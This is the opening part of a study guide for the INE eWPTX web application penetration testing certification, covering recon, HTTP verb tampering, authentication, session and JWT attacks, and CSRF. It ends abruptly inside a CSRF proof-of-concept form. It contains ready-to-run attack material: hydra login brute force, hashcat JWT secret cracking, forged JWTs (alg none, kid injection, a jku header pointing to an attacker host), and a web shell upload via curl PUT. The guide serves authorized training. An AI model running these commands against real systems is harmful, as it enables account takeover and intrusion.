eWPTX Exam - Guided By RedBlock
eWPTX - Web Application Penetration Tester eXtreme
eWPTX Field Guide — Web Application Penetration Tester eXtreme (INE)
The complete, payload-driven study guide for the INE eWPTX (eWPTXv3) certification — advanced web application penetration testing: methodology, reconnaissance, authentication/session/JWT/CSRF attacks, injection (command, XSS, SQL, NoSQL), API security testing, server-side attacks (SSRF, deserialization, file upload, directory traversal, LFI/RFI, XXE), CMS pentesting, and WAF bypass / filter evasion. Every technique is paired with payloads, commands, and worked examples so you learn how to find, exploit, chain, and report real-world web vulnerabilities.
Keywords & topics: web application penetration testing, eWPTX / eWPTXv3, advanced web attacks, OWASP Top 10, SQL injection (SQLi), cross-site scripting (XSS), command injection, SSRF, XXE, insecure deserialization, JWT attacks, CSRF, session hijacking, file upload & file inclusion (LFI/RFI), directory traversal, API security (BOLA/BFLA), Burp Suite, SQLMap, WAF bypass and filter evasion, authentication bypass, and web exploitation methodology.
What eWPTX validates: the ability to perform an advanced, real-world web application penetration test — going beyond the basics to exploit complex vulnerabilities, bypass defenses (WAFs/filters), chain weaknesses into high-impact attacks, and document everything in a professional report. The exam is hands-on and report-based.
⚠️ Authorized testing only. Every payload and command here is for applications you own or are explicitly authorized to test (exam labs, deliberately-vulnerable apps like DVWA, bWAPP, Juice Shop, WebGoat, and PortSwigger's Web Security Academy). Never test third-party systems without written permission.
Table of Contents
eWPTX Overview & Exam Strategy
Web Application Security Fundamentals
HTTP/HTTPS Deep-Dive for Pentesters
Web App Penetration Testing Methodology
Tooling, Proxies & Environment Setup
Information Gathering & Reconnaissance
DNS Recon, Zone Transfer & Subdomain Enumeration
WAF Detection & Web Server Fingerprinting
Crawling, Spidering & Content Discovery
HTTP Attacks — Method Tampering & Verb Tampering
Attacking HTTP & Web Authentication
Session Attacks — Hijacking, Fixation & Cookie Tampering
JWT (JSON Web Token) Attacks
Cross-Site Request Forgery (CSRF)
OS Command Injection
Cross-Site Scripting (XSS) — Reflected, Stored & DOM
SQL Injection (SQLi) — In-Band, Blind, UNION & Error-Based
NoSQL Injection
Automated SQLi with SQLMap
API Penetration Testing (REST, BOLA, BFLA)
Server-Side Request Forgery (SSRF)
XML External Entity (XXE) Injection
Insecure Deserialization
File Upload Vulnerabilities
Directory / Path Traversal
File Inclusion — LFI & RFI
CMS Pentesting — WordPress, Drupal & Magento
Filter Evasion & WAF Bypass (Encoding & Obfuscation)
Server-Side Template Injection (SSTI)
HTTP Request Smuggling
CORS, Open Redirect & Clickjacking
Web Cache Poisoning & Deception
Prototype Pollution
Business Logic Vulnerabilities
GraphQL Deep-Dive
Payload Arsenal — Consolidated Quick Reference
Chaining Vulnerabilities — Advanced Exploitation
Worked Scenario Walkthroughs
Advanced Testing Techniques & Burp Suite Mastery
Second-Order & Advanced Injection Techniques
The Web App Testing Checklist (WSTG-Aligned)
OAuth, SAML & SSO Attacks
WebSockets & Advanced Client-Side Attacks
Secure-Coding & Mitigation Reference
Reporting & Remediation
Exam-Day Tips & Study Plan
Glossary & Quick Reference
1. eWPTX Overview & Exam Strategy
What it is. The eWPTX (Web Application Penetration Tester eXtreme, currently eWPTXv3) is INE's advanced web application security certification — the step up from the eWPT. Where the eWPT proves you can find and exploit common web vulnerabilities, the eWPTX proves you can handle complex, real-world scenarios: exploiting advanced injection, bypassing WAFs and input filters, attacking APIs and modern app components, chaining vulnerabilities for maximum impact, and producing a professional penetration-test report.
Exam format. A hands-on, practical exam against realistic web applications, delivered with a report deliverable — you must not only exploit the targets but document your methodology, findings, impact, and remediation like a real engagement. Browser extensions typically don't work in the exam environment, so you configure your proxy (Burp Suite) manually — practice this.
The eWPTXv3 domains (what you're tested on):
| Domain | Covers |
|---|---|
| Methodology | Web app security testing approach; architecture & HTTP/HTTPS fundamentals |
| Reconnaissance | Information gathering, DNS recon, subdomain enumeration, WAF detection, fingerprinting, crawling, content discovery |
| Authentication Attacks | HTTP attacks (method tampering, HTTP auth), session attacks (hijacking/fixation/cookie tampering), JWT attacks, CSRF |
| Injection Vulnerabilities | Command injection, XSS (reflected/stored/DOM), SQL injection (in-band/blind/UNION/error), NoSQL, SQLMap |
| API Penetration Testing | REST API testing, authorization flaws (BOLA/BFLA), API-specific attacks |
| Server-Side Attacks | SSRF, insecure deserialization, file upload, directory traversal, LFI/RFI, CMS pentesting |
| Filter Evasion & WAF Bypass | Obfuscating attacks using encodings; bypassing input filters and web application firewalls |
Strategy that scores:
- Methodology first. Work systematically — recon → map the app → test each input/parameter/endpoint for each vuln class → exploit → chain → document. A repeatable methodology beats random payload-throwing.
- Think "eXtreme." This exam rewards advanced exploitation: blind/second-order/out-of-band techniques, WAF/filter bypass, and chaining (e.g., SSRF → internal service → RCE; XSS → session theft → account takeover; LFI → log poisoning → RCE).
- Master Burp Suite manually. Repeater, Intruder, Decoder, Comparer, Collaborator — and manual proxy setup. The exam blocks convenience extensions.
- Bypass defenses. Expect WAFs and input filters; know encoding, case/keyword manipulation, and alternative syntaxes (§28).
- Document as you exploit. The report is graded — capture requests/responses, payloads, impact, and remediation for every finding (§31).
- Validate everything. Confirm each vulnerability with a reliable proof (a reflected value, an OOB callback, extracted data), not just a hunch.
2. Web Application Security Fundamentals
Advanced exploitation rests on solid fundamentals. The eWPTX expects you to understand how web apps are built and where they break.
What is a web application? Software that runs on a web server and is accessed over HTTP/HTTPS by a client (browser or API client). Unlike a static site, a web app is dynamic — it processes user input, maintains state, talks to databases and backend services, and renders responses. Every point where it accepts input (URL parameters, form fields, headers, cookies, JSON/XML bodies, file uploads) is attack surface.
Web application architecture (the layers you attack):
CLIENT (browser / API client)
- HTML/CSS/JavaScript, the DOM, client-side storage (cookies, localStorage)
- attack surface: DOM XSS, client-side logic, token storage, CSRF
│ HTTP/HTTPS requests
▼
WEB / APPLICATION SERVER (Apache, Nginx, IIS + app runtime: PHP, Node, Java, .NET, Python)
- routing, authentication, session management, business logic, input handling
- attack surface: injection (SQLi/XSS/cmd), auth/session flaws, SSRF, deserialization, file ops
│
▼
BACKEND SERVICES
- databases (MySQL, PostgreSQL, MSSQL, Oracle, MongoDB) → SQLi / NoSQLi
- internal APIs, microservices, caches, file systems → SSRF, path traversal, LFI
- message queues, cloud metadata endpoints → SSRF to cloud
The three-tier model: presentation (client) → application/logic (server) → data (database). Modern apps add APIs (REST/GraphQL), SPAs (single-page apps with heavy client-side JS), and microservices — each expanding the attack surface.
Why web apps are vulnerable (the root causes):
- Trusting user input — the #1 cause. Any input used in a query, command, file path, HTML output, or server request without proper validation/encoding/parameterization becomes an injection point.
- Broken authentication & session management — weak credentials, predictable tokens, poor session handling.
- Broken access control — the server trusting the client to enforce authorization (IDOR/BOLA, forced browsing).
- Misconfiguration & exposure — verbose errors, default creds, exposed files, dangerous HTTP methods.
- Flawed business logic — abusing the app's intended workflow.
OWASP as your map. The OWASP Top 10 (broken access control, cryptographic failures, injection, insecure design, security misconfiguration, vulnerable components, auth failures, data integrity failures, logging failures, SSRF) and the OWASP Web Security Testing Guide (WSTG) are the standard references — use the WSTG checklist to ensure methodical coverage, and the OWASP Cheat Sheets and PayloadsAllTheThings for payloads.
3. HTTP/HTTPS Deep-Dive for Pentesters
You can't attack what you don't understand. HTTP is the protocol every web attack rides on — know it cold.
HTTP request anatomy:
POST /login.php HTTP/1.1 ← method, path, version (the request line)
Host: target.com ← headers...
User-Agent: Mozilla/5.0
Cookie: PHPSESSID=abc123; security=low ← session token (attack surface)
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
username=admin&password=secret ← body (parameters — attack surface)
HTTP response anatomy:
HTTP/1.1 200 OK ← status line (status code matters)
Server: Apache/2.4.41 ← fingerprinting info
Set-Cookie: PHPSESSID=xyz; HttpOnly ← session cookie + flags
Content-Type: text/html
...
<html>...reflected input here...</html> ← body (where XSS/SQLi results show)
HTTP methods (verbs) — each is testable:
GET retrieve (parameters in URL) POST submit data (body)
PUT upload/replace a resource DELETE remove a resource
HEAD headers only OPTIONS allowed methods (enumerate!)
PATCH partial update TRACE echo (XST risk)
Dangerous/interesting methods: PUT (upload a web shell?), DELETE (remove files?), OPTIONS (what's allowed?), TRACE (Cross-Site Tracing). Method/verb tampering (§10) abuses these.
HTTP status codes (what they tell you):
2xx success 200 OK, 201 Created, 204 No Content
3xx redirect 301/302 (open redirect?), 304 Not Modified
4xx client error 400 bad request, 401 unauthorized, 403 forbidden, 404 not found, 405 method not allowed
5xx server error 500 internal error (often leaks stack traces / SQLi signals), 502/503
For an attacker: differing status codes/response lengths between inputs reveal boolean conditions (blind SQLi/auth enumeration); a 500 on a crafted input often signals an injection point; 403 on /admin suggests something worth bypassing.
Key headers for attackers:
Cookie / Set-Cookie session tokens (HttpOnly, Secure, SameSite flags matter)
Authorization Basic/Bearer/Digest auth (JWTs live here)
Host host-header attacks, password-reset poisoning, routing
Referer / Origin CSRF/CORS checks (often bypassable)
X-Forwarded-For IP spoofing, rate-limit/ACL bypass
Content-Type switching it bypasses parsers/filters (JSON↔form↔XML)
User-Agent sometimes logged (log poisoning) or used in logic
HTTPS/TLS. HTTPS encrypts HTTP over TLS — it protects data in transit but does not make the app secure; all the application-layer vulnerabilities still apply. You intercept HTTPS in testing by trusting your proxy's CA (Burp). Check for TLS misconfigurations (weak ciphers, Heartbleed) as part of recon, but the application is where eWPTX lives.
Statelessness & sessions. HTTP is stateless — the server uses cookies/session tokens (or JWTs) to track who you are across requests. That mechanism is a major attack surface (§12–13): steal, forge, fixate, or tamper with the token and you become someone else.
4. Web App Penetration Testing Methodology
A repeatable methodology is what separates a professional pentester from someone throwing payloads. The eWPTX rewards a systematic approach.
The web app pentest lifecycle:
1. RECON / INFORMATION GATHERING
- passive (OSINT, DNS, subdomains, tech stack) + active (fingerprinting, WAF detection)
2. MAPPING / ENUMERATION
- crawl & spider the app; discover all pages, endpoints, parameters, inputs, APIs
- content/directory discovery (hidden files, admin panels, backups)
- identify the tech stack, frameworks, CMS, server
3. VULNERABILITY ANALYSIS / TESTING
- for EACH input (param, header, cookie, body field, file upload, API endpoint):
test for each vuln class (injection, XSS, SQLi, SSRF, traversal, auth/session, etc.)
- test the auth flow, session management, access control, business logic
4. EXPLOITATION
- confirm and weaponize each finding; extract data, gain code execution, bypass controls
5. POST-EXPLOITATION / CHAINING
- chain vulnerabilities for higher impact (SSRF→RCE, XSS→ATO, LFI→RCE)
- pivot, escalate, assess real business impact
6. REPORTING
- document methodology, findings (with evidence), impact, and remediation
Testing mindset — cover every input against every relevant vuln class. Build a mental (or literal) matrix:
SQLi XSS CmdInj SSRF Traversal Auth LFI/RFI XXE Deserialization ...
param id ✓ ✓ ✓ - ✓ - ✓ - -
search q ✓ ✓ - - - - - - -
file param - - - ✓ ✓ - ✓ - -
cookie ✓ ✓ - - - ✓ - - ✓
JSON body ✓ ✓ ✓ ✓ - ✓ - ✓ ✓
upload - ✓ ✓ - ✓ - - ✓ ✓
Map inputs to vulnerabilities (recognition speed):
- Parameter used in a query → SQLi/NoSQLi.
- Input reflected in the page → XSS.
- Input used in a system command → command injection.
- Input that's a URL/host the server fetches → SSRF.
- Input that's a file path/name → path traversal, LFI/RFI, file upload.
- Input parsed as XML → XXE.
- Input that's a serialized object/cookie → insecure deserialization.
- Anything controlling identity/authorization → auth/session/IDOR/BOLA.
Methodical > lucky. Test every parameter; vary your payloads; observe responses (status, length, timing, errors, reflections, OOB callbacks). The WSTG checklist keeps you honest — tick off each test category for each part of the app.
5. Tooling, Proxies & Environment Setup
Your toolkit for advanced web testing. Install and know these cold.
Core tools:
# intercepting proxies (your primary workbench)
burpsuite # Burp Suite — the industry standard (Proxy/Repeater/Intruder/Decoder/Comparer/Collaborator)
# OWASP ZAP # free alternative proxy/scanner
# recon & discovery
sudo apt install -y gobuster dirb nikto whatweb wafw00f sublist3r theharvester dnsrecon
# content discovery: ffuf, feroxbuster
# injection & scanning
sudo apt install -y sqlmap xsser wpscan hydra
# API testing: Postman, ffuf; GraphQL: graphql-cog / InQL (Burp)
Burp Suite — the components you live in:
- Proxy — intercept, view, and modify HTTP(S) traffic between browser and server. The foundation.
- Repeater — manually craft and resend requests; tweak payloads and watch responses. Where most manual testing happens.
- Intruder — automate payload injection (fuzzing, brute force, enumeration) across positions.
- Decoder — encode/decode (URL, Base64, HTML, hex) payloads.
- Comparer — diff two responses (great for blind/boolean conditions).
- Collaborator — out-of-band (OAST) interaction server for blind SSRF/XXE/SQLi/XSS detection.
- Sequencer — analyze session-token randomness.
- Extensions (BApp Store) — JWT Editor, Param Miner, Autorize, Turbo Intruder, Hackvertor, etc.
Manual proxy setup (critical — the exam often blocks browser extensions):
1. Burp > Proxy > Options > Proxy Listeners: 127.0.0.1:8080 (default).
2. In your BROWSER network settings, set HTTP/HTTPS proxy to 127.0.0.1:8080 manually
(not via FoxyProxy/extension — configure the OS/browser proxy directly).
3. Install Burp's CA certificate: browse to http://burp → "CA Certificate" → import into the
browser/OS trust store so HTTPS intercepts without errors.
4. Verify: browse the target; traffic should appear in Burp's HTTP history.
Intercepting HTTPS: without the CA installed, HTTPS pages show cert errors; install Burp's CA so you can intercept and modify encrypted traffic transparently.
Supporting tools & resources:
curl / wget scriptable HTTP requests (great for PoCs and automation)
ffuf / feroxbuster fast content/parameter discovery and fuzzing
jwt_tool / jwt.io JWT analysis and attacks
Collaborator / interactsh out-of-band detection for blind vulns
PayloadsAllTheThings, OWASP Cheat Sheets, PortSwigger Web Security Academy payloads & labs
Practice environments (authorized): PortSwigger Web Security Academy (free, the gold standard for web vulns), DVWA, bWAPP, OWASP Juice Shop, WebGoat, Mutillidae, and INE's own labs. Build reps on these before the exam.
6. Information Gathering & Reconnaissance
Recon maps the target's attack surface before you attack. Thorough recon finds the hidden endpoints, subdomains, and technologies where the real vulnerabilities often hide.
Passive vs active recon:
- Passive — gather info without directly touching the target (OSINT, public DNS, search engines, certificate transparency, archived pages). Stealthy.
- Active — directly interact with the target (fingerprinting, port scanning, content discovery). More data, more noise.
Initial fingerprinting:
host target.com # resolve IP(s)
whois target.com # registration, org, contacts
whatweb target.com # tech stack: server, CMS, frameworks, JS libs
wafw00f target.com -a # WAF detection (§8)
curl -I https://target.com # response headers (Server, X-Powered-By, cookies)
OSINT & search-engine recon (Google Dorks):
site:target.com # pages indexed for the domain
site:*.target.com # subdomains
inurl:admin / inurl:login # admin/login panels
filetype:pdf / filetype:xls site:target.com # exposed documents
intitle:"index of" # directory listings
inurl:wp-config.bak / inurl:.git # sensitive/backup files
cache:target.com # cached versions
Also: theHarvester (emails/subdomains/hosts from public sources), Shodan/Censys (exposed services), certificate transparency (crt.sh) for subdomains, and the Wayback Machine for old/forgotten endpoints.
theHarvester -d target.com -b all
What you're building: a picture of the target's domains/subdomains, IP ranges, technology stack (server/language/framework/CMS), WAF presence, exposed files/endpoints, and entry points. Everything found here feeds the attack phase — a forgotten subdomain or an exposed .git is often the easiest way in.
7. DNS Recon, Zone Transfer & Subdomain Enumeration
Subdomains dramatically expand the attack surface — staging sites, admin panels, dev environments, and APIs often live on subdomains with weaker security. DNS recon finds them.
Basic DNS enumeration:
dig target.com ANY # all records
dig target.com MX # mail servers
dig target.com NS # name servers
dig target.com TXT # SPF/verification records (info leak)
dnsrecon -d target.com # comprehensive DNS recon
dnsenum target.com # DNS enumeration + brute force
DNS Zone Transfer (AXFR) — a classic misconfiguration that dumps the entire zone:
# find the name servers, then try to transfer the zone from each:
dig NS target.com
dig axfr @ns1.target.com target.com
# classic practice target:
dig axfr @nsztm1.digi.ninja zonetransfer.me
# alternative:
fierce --domain target.com
Why it matters: a misconfigured DNS server that allows AXFR to anyone hands you every subdomain and host in the zone — instant, complete attack-surface mapping. Always test it; it's low-effort, high-reward.
Subdomain enumeration (when AXFR is blocked, which is usual):
sublist3r -d target.com # multiple OSINT sources
# amass enum -d target.com # thorough passive+active (if available)
# certificate transparency (very effective):
curl -s "https://crt.sh/?q=%25.target.com&output=json" | jq -r '.[].name_value' | sort -u
# brute-force subdomains (active):
gobuster dns -d target.com -w /usr/share/wordlists/subdomains.txt
# ffuf virtual-host / subdomain fuzzing:
ffuf -w subdomains.txt -u https://target.com -H "Host: FUZZ.target.com" -fs <baseline-size>
Virtual hosts (vhosts). A single IP can host many sites distinguished by the Host header. Fuzz the Host header (as above) to find internal/hidden vhosts not in public DNS — a frequent source of "hidden" apps.
After enumeration: for each discovered subdomain, repeat fingerprinting (§6) and content discovery (§9). Dev/staging/admin subdomains often run outdated, debug-enabled, or unauthenticated versions of the app — prime targets.
8. WAF Detection & Web Server Fingerprinting
Knowing what's defending the app (WAF) and what's running it (server/framework) shapes your entire attack — especially for the eWPTX's filter evasion / WAF bypass domain (§28).
WAF (Web Application Firewall) detection:
wafw00f target.com -a # identify the WAF product (Cloudflare, Akamai, F5, ModSecurity, AWS WAF, etc.)
wafw00f -l # list detectable WAFs
# manual signs of a WAF:
# - a generic "403 Forbidden" / "Request blocked" page when you send a payload (e.g. ' OR 1=1)
# - a sudden block/ban after a malicious-looking request
# - a Server/header change, a CAPTCHA, or a cloud-WAF response page
Why it matters: if a WAF blocks your ' OR '1'='1, you'll need encoding/obfuscation (§28) to get payloads through. Identifying the specific WAF helps because each has known bypasses. Test with a benign payload first, then a malicious one, and compare responses to confirm the WAF and its triggers.
Web server & technology fingerprinting:
whatweb -a 3 target.com # aggressive tech fingerprint
curl -I https://target.com # Server, X-Powered-By, Set-Cookie (reveal stack)
nmap -sV -p 80,443 target.com # service/version
nmap -p 80 --script=http-headers,http-methods,http-enum target.com
nikto -h https://target.com # server misconfig & known-issue scan
What fingerprinting reveals:
- Web server (Apache/Nginx/IIS) and version → known CVEs, default paths.
- Backend language/framework (PHP/ASP.NET/Java/Node/Python + Laravel/Django/Spring/Express) → framework-specific attacks and error signatures.
- CMS (WordPress/Drupal/Magento) → CMS-specific enumeration & exploits (§27).
- Cookies (PHPSESSID, JSESSIONID, ASP.NET_SessionId, connect.sid) → the backend language.
- Headers (X-Powered-By, X-AspNet-Version, Server) → versions and stack.
Fingerprint → attack mapping:
PHP (PHPSESSID, .php) → LFI/RFI, type juggling, PHP wrappers, deserialization
ASP.NET (.aspx, ViewState) → ViewState deserialization, padding oracle
Java (JSESSIONID, .jsp) → Java deserialization, Spring/Struts CVEs, SSTI
Node.js (connect.sid) → prototype pollution, NoSQLi (Mongo), SSTI
WordPress/Drupal/Magento → CMS enumeration & plugin/theme exploits (§27)
Fingerprinting isn't busywork — it tells you which advanced attacks are even possible and how the app will react, which is exactly what "eXtreme" testing requires.
9. Crawling, Spidering & Content Discovery
You can't test what you haven't found. Crawling maps the visible app; content discovery finds the hidden parts (admin panels, backups, APIs, old files) where vulnerabilities often hide.
Crawling & spidering (map the visible application):
- Passive crawling — as you browse the app through Burp, it builds a site map of every URL, parameter, and form you touch. Browse the whole app (log in, use every feature) so Burp records the full surface.
- Active spidering/crawling — automated following of links/forms to discover pages. (Burp's crawler, ZAP spider.) Useful but can miss JS-driven and hidden content.
- Capture every parameter — forms, URL params, hidden fields, JSON/XML bodies, headers, cookies. Each is a test point.
Content & directory discovery (find the hidden parts):
# Gobuster — directory/file brute force
gobuster dir -u https://target.com -w /usr/share/wordlists/dirb/common.txt -b 403,404
gobuster dir -u https://target.com -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \
-x php,asp,aspx,jsp,txt,bak,zip,old,config -b 403,404 -r
# ffuf — fast fuzzing
ffuf -w wordlist.txt -u https://target.com/FUZZ -mc 200,301,302,403 -e .php,.txt,.bak,.zip
ffuf -w params.txt -u "https://target.com/page?FUZZ=test" -fs <baseline> # parameter discovery
# feroxbuster — recursive content discovery
feroxbuster -u https://target.com -x php,bak,zip
# classic tools
dirb https://target.com
nikto -h https://target.com
High-value things to look for:
/admin, /administrator, /manage, /dashboard, /panel → admin interfaces
/api, /api/v1, /graphql, /swagger, /openapi.json → API endpoints & docs (gold for §20)
/.git/, /.svn/, /.env, /config.php.bak, /wp-config.bak → source/secrets exposure
/backup/, *.bak, *.old, *.zip, *.tar.gz, *.sql → backups & DB dumps
/robots.txt, /sitemap.xml, /.well-known/ → disclosed paths
/test/, /dev/, /staging/, /old/, /tmp/ → dev/debug versions
/phpinfo.php, /server-status, /actuator → info disclosure
robots.txt & sitemap.xml often disclose paths the owner wanted hidden — always read them. Comments & source (HTML/JS) frequently leak API keys, endpoints, credentials, and internal URLs — review the page source and linked JS files (and use Burp's "find scripts"/Param Miner for hidden parameters).
Parameter discovery. Many vulns live in undocumented parameters. Use Param Miner (Burp) or ffuf to brute-force hidden GET/POST/JSON parameters and headers — a hidden debug=1 or admin=true or an unlinked file= parameter is often the way in.
The output of this phase: a complete map of the application — every page, endpoint, parameter, input, API, and hidden resource — which becomes your testing matrix (§4). Thorough discovery is what lets you be exhaustive in the testing phase, and exhaustiveness is what the eWPTX demands.
10. HTTP Attacks — Method Tampering & Verb Tampering
HTTP method (verb) tampering abuses the fact that servers may handle different HTTP methods inconsistently — sometimes letting you bypass access controls or perform unintended actions.
Enumerate allowed methods first:
curl -X OPTIONS https://target.com/ -i # Allow: header lists permitted methods
nmap -p 80 --script http-methods --script-args http-methods.url-path=/admin/ target.com
HTTP Verb Tampering (authentication/authorization bypass). Some apps enforce access control only on specific methods (e.g., GET/POST) but not others. If GET /admin is blocked but the server still processes HEAD, PUT, or an arbitrary/unknown method, you may bypass the control:
GET /admin/deleteUser?id=5 HTTP/1.1 → 403 Forbidden
HEAD /admin/deleteUser?id=5 HTTP/1.1 → action executes but no body returned (bypass)
# or try a non-standard verb the framework maps to GET:
FOO /admin/deleteUser?id=5 HTTP/1.1
Why it works: a security filter configured for <limit GET POST> leaves other verbs unprotected while the application logic still runs them.
Dangerous methods to test:
- PUT — can you upload a file (web shell)? curl -X PUT https://target.com/shell.php --data-binary @shell.php
- DELETE — can you remove files/resources? curl -X DELETE https://target.com/uploads/file.txt -v
- TRACE — Cross-Site Tracing (XST): if enabled, it echoes the request, potentially exposing cookies even with HttpOnly.
- OPTIONS — enumerate; sometimes leaks methods that shouldn't be exposed.
Testing with curl:
curl -X OPTIONS https://target.com/ -v
curl -X PUT https://target.com/test.txt -d "test" -v
curl -X DELETE https://target.com/uploads/test.txt -v
curl -X GET https://target.com/admin -v # baseline
curl -X HEAD https://target.com/admin -v # tamper
Remediation (for the report): enforce access control on all methods (default-deny), disable unused/dangerous methods (PUT/DELETE/TRACE), and don't rely on method-specific security filters.
11. Attacking HTTP & Web Authentication
Authentication is a top target — breaking it means becoming another user (or admin). The eWPTX tests both HTTP-level auth and application login flows.
Types of authentication you'll attack:
- HTTP Basic — credentials base64-encoded in the Authorization: Basic header (trivially decoded; brute-forceable).
- HTTP Digest — challenge-response; harder but still brute-forceable.
- Form-based login — the common case; credentials POSTed to a login endpoint.
- Token/JWT-based — §13. OAuth/SSO, API keys, MFA — advanced flows.
Attacking HTTP Basic/Digest auth:
# Basic auth is base64(user:pass):
echo -n "admin:password" | base64 # QWRtaW46cGFzc3dvcmQ=
echo "QWRtaW46cGFzc3dvcmQ=" | base64 -d # decode an intercepted header
# brute force HTTP Basic with Hydra:
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt target.com http-get /admin/
# HTTP Digest:
hydra -L users.txt -P rockyou.txt target.com http-head /admin/
Attacking form-based login (brute force):
# http-post-form: "<path>:<body-with-^USER^-^PASS^>:<failure-string>"
hydra -l admin -P /usr/share/wordlists/rockyou.txt target.com http-post-form \
"/login.php:username=^USER^&password=^PASS^&login=Login:Invalid credentials"
# authenticated/CSRF-protected form (include a session cookie):
hydra -l admin -P rockyou.txt target.com https-post-form \
"/login.php:username=^USER^&password=^PASS^:Not allowed:H=Cookie\: PHPSESSID=<sid>"
Authentication attack techniques (the advanced angle):
- Username enumeration — different responses (error text, status, timing, response length) for valid vs invalid usernames let you enumerate valid accounts, then target password brute force. Watch login error messages, password-reset responses, and registration.
- Credential stuffing / default creds — test known/default credentials (admin:admin, admin:password), and reused breached credentials.
- Weak password-reset — predictable/leaked reset tokens, host-header poisoning of the reset link, user-controllable reset parameters.
- Response manipulation / logic flaws — intercept the auth response and flip "success":false→true or a redirect, if the client trusts it.
- Rate-limit / lockout bypass — rotate X-Forwarded-For, vary casing, or exploit flawed lockout logic.
- 2FA/MFA bypass — brute the OTP (no rate limit), skip to the post-2FA endpoint, reuse/leak codes, or bind 2FA to the wrong session.
- SQLi auth bypass — classic admin'-- - / ' OR '1'='1'-- - in the login (§17).
Remediation: strong password policy + MFA, generic error messages (no user enumeration), rate limiting + lockout, secure randomized tokens, and never trust client-side auth decisions.
12. Session Attacks — Hijacking, Fixation & Cookie Tampering
Once authenticated, a user is tracked by a session token (cookie or JWT). Steal, forge, fixate, or tamper with it and you impersonate them — no password needed.
Session Hijacking (stealing a valid session). Obtain another user's session token and use it:
- Via XSS — the classic chain: inject JavaScript that exfiltrates document.cookie (§16). If the cookie lacks the HttpOnly flag, XSS can read it.
```javascript
```
- Via network sniffing — if traffic isn't HTTPS (or mixed content), tokens can be captured.
- Via predictable tokens — if session IDs are sequential/weak (test with Burp Sequencer), you can guess valid ones.
- Using a stolen token — set it in your browser (Cookie manager) or Burp and you are that user.
Session Fixation (forcing a known session). If the app doesn't regenerate the session ID on login, an attacker sets a victim's session ID to one the attacker knows (via a URL param, a Set-Cookie, or XSS), waits for the victim to log in with that ID, then uses the now-authenticated known ID:
1. Attacker obtains/sets a session ID: SESSIONID=attacker_known_value
2. Attacker tricks the victim into using it (e.g., link: https://target.com/?SESSIONID=attacker_known_value)
3. Victim logs in; the app keeps the SAME session ID (vulnerable behavior)
4. Attacker uses attacker_known_value → now authenticated as the victim
Fix: regenerate the session ID on every privilege change (especially login/logout).
Session Hijacking via Cookie Tampering. Inspect and modify cookies — many apps store trust-sensitive data in cookies insecurely:
Cookie: role=user → change to role=admin
Cookie: isAdmin=0 → isAdmin=1
Cookie: user=am9obg== → base64 "john" → re-encode as "admin": YWRtaW4=
Cookie: uid=1002 → change to another user's id (IDOR via cookie)
Cookie: auth=<md5(user)> → forge the hash for another user
If the app trusts client-side cookie values for authorization or identity, tampering = privilege escalation / account takeover. Decode (Base64/hex/URL), understand the structure, modify, re-encode, and replay in Burp Repeater.
Cookie security flags (check these — missing flags enable attacks):
HttpOnly → not set? JavaScript (XSS) can steal the cookie
Secure → not set? cookie sent over HTTP (sniffable)
SameSite → None/absent? cross-site requests send it (CSRF easier)
Expiration → long-lived tokens increase theft window
Testing workflow: capture the session cookie → analyze randomness (Sequencer) and structure (Decoder) → test predictability, fixation (does the ID change on login?), and tampering (change role/id/flags) → check the flags → attempt hijacking (set a victim/forged token). Remediation: cryptographically strong random tokens, regenerate on login, set HttpOnly+Secure+SameSite, bind sessions server-side, short expiry, and never store trust data client-side.
13. JWT (JSON Web Token) Attacks
JWTs are everywhere in modern apps/APIs for stateless authentication — and they're frequently misconfigured. A broken JWT = authentication bypass / privilege escalation.
JWT structure — three base64url parts separated by dots: header.payload.signature
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 . eyJ1c2VyIjoiam9obiIsInJvbGUiOiJ1c2VyIn0 . <signature>
HEADER {"alg":"HS256","typ":"JWT"} PAYLOAD {"user":"john","role":"user"} SIGNATURE
Decode the first two parts (they're just base64, not encrypted — never trust JWTs to hide data):
echo "eyJ1c2VyIjoiam9obiIsInJvbGUiOiJ1c2VyIn0" | base64 -d # {"user":"john","role":"user"}
JWT attack techniques (the eWPTX set):
1. alg: none (algorithm removal). If the server accepts "alg":"none", strip the signature and forge any payload:
Header: {"alg":"none","typ":"JWT"} Payload: {"user":"admin","role":"admin"}
Token: base64url(header) . base64url(payload) . ← note the trailing dot, empty signature
2. Weak HMAC secret (brute force / crack). HS256 tokens signed with a weak secret can be cracked offline, then you re-sign forged tokens:
hashcat -m 16500 -a 0 jwt.txt /usr/share/wordlists/rockyou.txt
# or a JWT-specific list:
hashcat -m 16500 jwt.txt /usr/share/seclists/Passwords/scraped-JWT-secrets.txt
# with John:
john jwt.txt --wordlist=rockyou.txt --format=HMAC-SHA256
# then forge on jwt.io or with jwt_tool using the cracked secret:
jwt_tool <token> -S hs256 -p "<cracked-secret>" -T # tamper & re-sign
3. Algorithm confusion (RS256 → HS256). If the server verifies without pinning the algorithm, sign an HS256 token using the server's public key as the HMAC secret (the server, expecting RSA, verifies with the public key as the HMAC key):
jwt_tool <token> -X k -pk public.pem # key-confusion attack
4. kid (Key ID) injection. The kid header picks the verification key; if it's used in a file path or SQL query, inject:
"kid": "../../../../dev/null" → forces an empty/null key you can sign with
"kid": "key' UNION SELECT 'secret'-- -" → SQLi to control the returned key
5. jku / x5u header injection. These point to a URL hosting the verification key; if the server fetches it without validation, host your own key and self-sign:
"jku": "https://attacker.com/jwks.json" → serve your public key; sign with your private key
6. None of the above? Test claims & logic. Tamper the payload (role, user, exp) and see if it's accepted; check for missing exp (tokens never expire), sensitive data in the payload, and whether the signature is actually verified at all (strip it entirely).
Tools: jwt_tool (all-in-one: jwt_tool <token> -M at to run all checks), JWT Editor (Burp extension), jwt.io (decode/inspect). Remediation: pin the algorithm server-side, use strong secrets/asymmetric keys, reject none, validate kid/jku against an allowlist, verify the signature always, and enforce exp.
14. Cross-Site Request Forgery (CSRF)
CSRF tricks an authenticated victim's browser into making an unwanted state-changing request to an app they're logged into — abusing the browser's automatic sending of cookies.
How CSRF works:
1. Victim is logged into target.com (has a valid session cookie).
2. Victim visits attacker.com (or opens a malicious email/link).
3. attacker.com auto-submits a request to target.com (e.g., change email/password/transfer funds).
4. The browser attaches the victim's target.com cookies automatically → the request is authenticated.
5. The action executes as the victim, without their knowledge.
Classic CSRF PoC (auto-submitting form):
<html><body>
<form action="https://target.com/account/change-email" method="POST" id="csrf">
